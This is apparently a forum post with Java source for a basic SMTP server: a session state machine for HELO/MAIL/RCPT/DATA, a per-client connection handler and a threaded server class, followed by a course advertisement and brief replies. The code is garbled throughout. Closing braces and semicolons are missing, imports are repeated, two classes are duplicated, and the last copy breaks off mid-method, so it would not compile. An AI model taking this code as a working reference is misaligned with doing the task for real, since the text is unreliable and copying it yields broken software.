                if (command.getVerb().equals("EHLO") || command.getVerb().equals("HELO")) { 
                    state = State.GREETED; 
                
                break
            case GREETED: 
                if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    mailFrom = extractAddress(command.getArgs()); 
                    recipients.clear(); 
                    data.setLength(0); 
                    state = State.MAIL_FROM; 
                
                break
            case MAIL_FROM: 
                if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    recipients.add(extractAddress(command.getArgs())); 
                    state = State.RCPT_TO; 
                
                break
            case RCPT_TO: 
                if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    recipients.add(extractAddress(command.getArgs())); 
                } else if (command.getVerb().equals("DATA")) { 
                    state = State.DATA; 
                } else if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    mailFrom = extractAddress(command.getArgs()); 
                    recipients.clear(); 
                    data.setLength(0); 
                    state = State.MAIL_FROM; 
                
                break
            case DATA: 
                if (command.getVerb().equals("ENDDATA")) { 
                    state = State.GREETED; 
                
                break
        
    
   
    private String extractAddress(String arg) { 
        int start = arg.indexOf('<'); 
        int end = arg.indexOf('>'); 
        if (start >= 0 && end > start) { 
            return arg.substring(start + 1, end); 
        
        return arg; // 简单处理,实际应使用更复杂的解析 
    
   
    public enum State { 
        CONNECT, GREETED, MAIL_FROM, RCPT_TO, DATA 
    
}
package smtp; 
   
import java.io.BufferedReader; 
import java.io.IOException; 
import java.io.InputStreamReader; 
import java.io.PrintWriter; 
import java.net.Socket; 
import java.util.Arrays; 
import java.util.List
   
public class SMTPConnection implements Runnable { 
    private final Socket clientSocket; 
    private final Handler handler; 
    private Session session; 
    private final List<String> NoParamCommands = Arrays.asList("DATA", "NOOP", ".", "QUIT"); 
    private final List<String> WithParamCommands = Arrays.asList("HELO", "EHLO", "MAIL", "RCPT"); 
   
    public SMTPConnection(Socket socket, Handler handler) { 
        this.clientSocket = socket; 
        this.handler = handler; 
        this.session = new Session(); 
    
   
    @Override 
    public void run() { 
        try
                PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true); 
                BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())) 
        ) { 
            // 发送欢迎信息 
            sendResponse(out, new Response(220, "localhost SMTP Server Ready")); 
   
            String inputLine; 
            while ((inputLine = in.readLine()) != null) { 
                System.out.println("Client: " + inputLine); 
   
                if (inputLine.trim().equalsIgnoreCase("QUIT")) { 
                    sendResponse(out, new Response(221, "Bye")); 
                    break
                
   
                Command command = parseCommand(inputLine); 
                Response response = handler.respond(command, session); 
                sendResponse(out, response); 
   
                // 更新会话状态 
                session.updateState(command, response); 
            
        } catch (IOException e) { 
            System.err.println("Error handling client: " + e.getMessage()); 
        } finally
            try
                clientSocket.close(); 
            } catch (IOException e) { 
                System.err.println("Error closing client socket: " + e.getMessage()); 
            
        
    
   
    private Command parseCommand(String input) { 
        String[] parts = input.split(" ", 2); 
        if (parts.length == 1 && NoParamCommands.contains(parts[0].toUpperCase())) { // NoParamCommand 
            return new Command(parts[0].toUpperCase(), ""); 
        } else
            if (WithParamCommands.contains(parts[0].toUpperCase())) { // WithParamCommand 
                return new Command(parts[0].toUpperCase(), parts[1]); 
            } else { // data 
                return new Command("", input); 
            
        
    
   
    private void sendResponse(PrintWriter out, Response response) { 
        System.out.println("Server: " + response.getCode() + " " + response.getMessage()); 
        if (response.getCode() == 0) { // for DATA commands 
            return
        
        out.println(response.getCode() + " " + response.getMessage()); 
    
}
package smtp; 
   
import java.io.BufferedReader; 
import java.io.IOException; 
import java.io.InputStreamReader; 
import java.io.PrintWriter; 
import java.net.Socket; 
import java.util.Arrays; 
import java.util.List
   
public class SMTPConnection implements Runnable { 
    private final Socket clientSocket; 
    private final Handler handler; 
    private Session session; 
    private final List<String> NoParamCommands = Arrays.asList("DATA", "NOOP", ".", "QUIT"); 
    private final List<String> WithParamCommands = Arrays.asList("HELO", "EHLO", "MAIL", "RCPT"); 
   
    public SMTPConnection(Socket socket, Handler handler) { 
        this.clientSocket = socket; 
        this.handler = handler; 
        this.session = new Session(); 
    
   
    @Override 
    public void run() { 
        try
                PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true); 
                BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())) 
        ) { 
            // 发送欢迎信息 
            sendResponse(out, new Response(220, "localhost SMTP Server Ready")); 
   
            String inputLine; 
            while ((inputLine = in.readLine()) != null) { 
                System.out.println("Client: " + inputLine); 
   
                if (inputLine.trim().equalsIgnoreCase("QUIT")) { 
                    sendResponse(out, new Response(221, "Bye")); 
                    break
                
   
                Command command = parseCommand(inputLine); 
                Response response = handler.respond(command, session); 
                sendResponse(out, response); 
   
                // 更新会话状态 
                session.updateState(command, response); 
            
        } catch (IOException e) { 
            System.err.println("Error handling client: " + e.getMessage()); 
        } finally
            try
                clientSocket.close(); 
            } catch (IOException e) { 
                System.err.println("Error closing client socket: " + e.getMessage()); 
            
        
    
   
    private Command parseCommand(String input) { 
        String[] parts = input.split(" ", 2); 
        if (parts.length == 1 && NoParamCommands.contains(parts[0].toUpperCase())) { // NoParamCommand 
            return new Command(parts[0].toUpperCase(), ""); 
        } else
            if (WithParamCommands.contains(parts[0].toUpperCase())) { // WithParamCommand 
                return new Command(parts[0].toUpperCase(), parts[1]); 
            } else { // data 
                return new Command("", input); 
            
        
    
   
    private void sendResponse(PrintWriter out, Response response) { 
        System.out.println("Server: " + response.getCode() + " " + response.getMessage()); 
        if (response.getCode() == 0) { // for DATA commands 
            return
        
        out.println(response.getCode() + " " + response.getMessage()); 
    
}
package smtp; 
   
import java.io.*
import java.net.ServerSocket; 
import java.net.Socket; 
import java.util.LinkedList; 
import java.util.List
import common.CommonUtils; 
   
import java.io.IOException; 
import java.net.ServerSocket; 
import java.net.Socket; 
import java.util.concurrent.ExecutorService; 
import java.util.concurrent.Executors; 
   
public class SMTPServer implements Runnable { 
    private final int port; 
    private final ExecutorService threadPool; 
    private Handler listener; 
    private boolean running; 
    protected Thread fred; 
   
    public SMTPServer(int port) { 
        this.port = port; 
        this.threadPool = Executors.newFixedThreadPool(10); 
        this.listener = new DefaultHandler(); 
        this.running = false; 
    
   
    public void installHandler(Handler handler) { 
        if (handler != null) { 
            this.listener = handler; 
        
    
   
    public void go() { 
        this.fred = new Thread(this); 
        this.fred.start(); 
    
   
    @Override 
    public void run() { 
        start(); 
    
   
    public void start() { 
        running = true; 
        try (ServerSocket serverSocket = new ServerSocket(port)) { 
            // System.out.println("SMTP Server started on port " + port); 
            while (running) { 
                Socket clientSocket = serverSocket.accept(); 
                // System.out.println("New client connected: " + clientSocket.getInetAddress()); 
                threadPool.submit(new SMTPConnection(clientSocket, listener)); 
            
        } catch (IOException e) { 
            if (running) { 
                // System.err.println("Server error: " + e.getMessage()); 
            
        } finally
            threadPool.shutdown(); 
        
    
   
    public void stop() { 
        running = false; 
        threadPool.shutdown(); 
        this.fred.interrupt(); 
    
   
    public static void main(String[] args) { 
        Thread serverThread = new Thread(new SMTPServer(2525)); 
        serverThread.start(); 
    
}
package smtp; 
   
import java.io.*
import java.net.ServerSocket; 
import java.net.Socket; 
import java.util.LinkedList; 
import java.util.List
import common.CommonUtils; 
   
import java.io.IOException; 
import java.net.ServerSocket; 
import java.net.Socket; 
import java.util.concurrent.ExecutorService; 
import java.util.concurrent.Executors; 
   
public class SMTPServer implements Runnable { 
    private final int port; 
    private final ExecutorService threadPool; 
    private Handler listener; 
    private boolean running; 
    protected Thread fred; 
   
    public SMTPServer(int port) { 
        this.port = port; 
        this.threadPool = Executors.newFixedThreadPool(10); 
        this.listener = new DefaultHandler(); 
        this.running = false; 
    
   
    public void installHandler(Handler handler) { 
        if (handler != null) { 
            this.listener = handler; 
        
    
   
    public void go() { 
        this.fred = new Thread(this); 
        this.fred.start(); 
    
   
    @Override 
    public void run() { 

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 3
支持
分享
最新回复 (3)
雪    币: 200
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
3天前
0
雪    币: 218
活跃值: (821)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
2天前
0
雪    币: 2786
活跃值: (3577)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
感谢分享
12小时前
0
游客
登录 | 注册 方可回帖
返回